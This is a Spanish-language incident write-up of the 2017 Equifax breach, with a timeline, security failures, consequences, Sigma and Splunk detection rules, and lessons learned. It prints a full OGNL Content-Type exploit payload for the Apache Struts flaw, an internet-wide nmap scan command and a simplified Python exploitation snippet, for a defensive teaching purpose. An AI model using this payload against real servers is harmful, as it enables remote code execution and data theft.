Equifax (2017): 147 millones de registros expuestos
La brecha
Fecha: Mayo - Julio 2017 (descubierta el 29 de julio)
Víctimas: 147 millones de personas (USA, UK, Canadá)
Datos robados:
- Nombres completos
- Números de seguro social (SSN)
- Fechas de nacimiento
- Direcciones
- 209,000 números de tarjetas de crédito
La vulnerabilidad
CVE-2017-5638 (Apache Struts)
Tipo: Remote Code Execution (RCE)
Vector: Content-Type header malformado
POST /struts2-showcase/upload.action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start())}
Resultado: Ejecución remota de comandos.
Timeline del desastre
7 marzo 2017: Apache publica parche (CVE-2017-5638)
↓
9 marzo 2017: Equifax recibe alerta de seguridad
↓
10 marzo 2017: Equifax NO PARCHEA
↓
Mayo 2017: Atacantes explotan vulnerabilidad
↓
29 julio 2017: Equifax descubre la brecha
↓
7 septiembre 2017: Anuncio público (40 días después)
Gap crítico: 4 meses sin parchear una vulnerabilidad crítica.
¿Cómo entró el atacante?
Fase 1: Reconocimiento
# Escaneo masivo de internet
nmap -sV -p 80,443 --script http-vuln-cve2017-5638 0.0.0.0/0
Fase 2: Explotación
# Exploit público disponible en ExploitDB
import requests
payload = "%{(#_='multipart/form-data')..."
headers = {'Content-Type': payload}
requests.post('https://equifax.com/vulnerable-endpoint', headers=headers)
Fase 3: Lateral Movement
Web server comprometido
↓
Acceso a red interna
↓
Credenciales en texto plano (!)
↓
Acceso a 51 bases de datos
↓
Exfiltración por 76 días
Fallas de seguridad
-
Patch Management nulo
- 4 meses sin aplicar parche crítico
- No había inventario de software
-
Credenciales débiles
- Bases de datos con usuario
admin/admin - Sin MFA (multi-factor authentication)
- Bases de datos con usuario
-
Segmentación de red inexistente
- Un servidor comprometido = acceso a todo
-
Cifrado en reposo ausente
- Datos sensibles en texto plano
-
Monitoreo deficiente
- Exfiltración de 9 GB durante 76 días sin detectar
Consecuencias
Legales
- $700 millones en acuerdos legales
- CEO renunció
- CIO y CSO despedidos
Reputacionales
- Pérdida de confianza total
- Acciones cayeron 30%
Detección (si hubiera existido)
Regla Sigma para CVE-2017-5638
title: Apache Struts CVE-2017-5638 Exploitation
detection:
selection:
http.request.headers.content-type|contains:
- '%{'
- 'ognl'
- '@java.lang'
condition: selection
Splunk query
index=web sourcetype=access_combined
| search cs_content_type="*%{*" OR cs_content_type="*ognl*"
| stats count by src_ip, dest_ip, uri
Lecciones aprendidas
-
Patch Management es CRÍTICO
- Vulnerabilidades críticas deben parchearse en 24-48h
- Inventario de software actualizado
-
Defense in Depth
- WAF (Web Application Firewall)
- IDS/IPS
- Segmentación de red
-
Cifrado de datos en reposo
- Datos sensibles NUNCA en texto plano
-
Monitoreo y alertas
- SIEM con alertas en tiempo real
- DLP (Data Loss Prevention)
#Equifax #DataBreach #ApacheStruts #CVE #BlueTeam #IR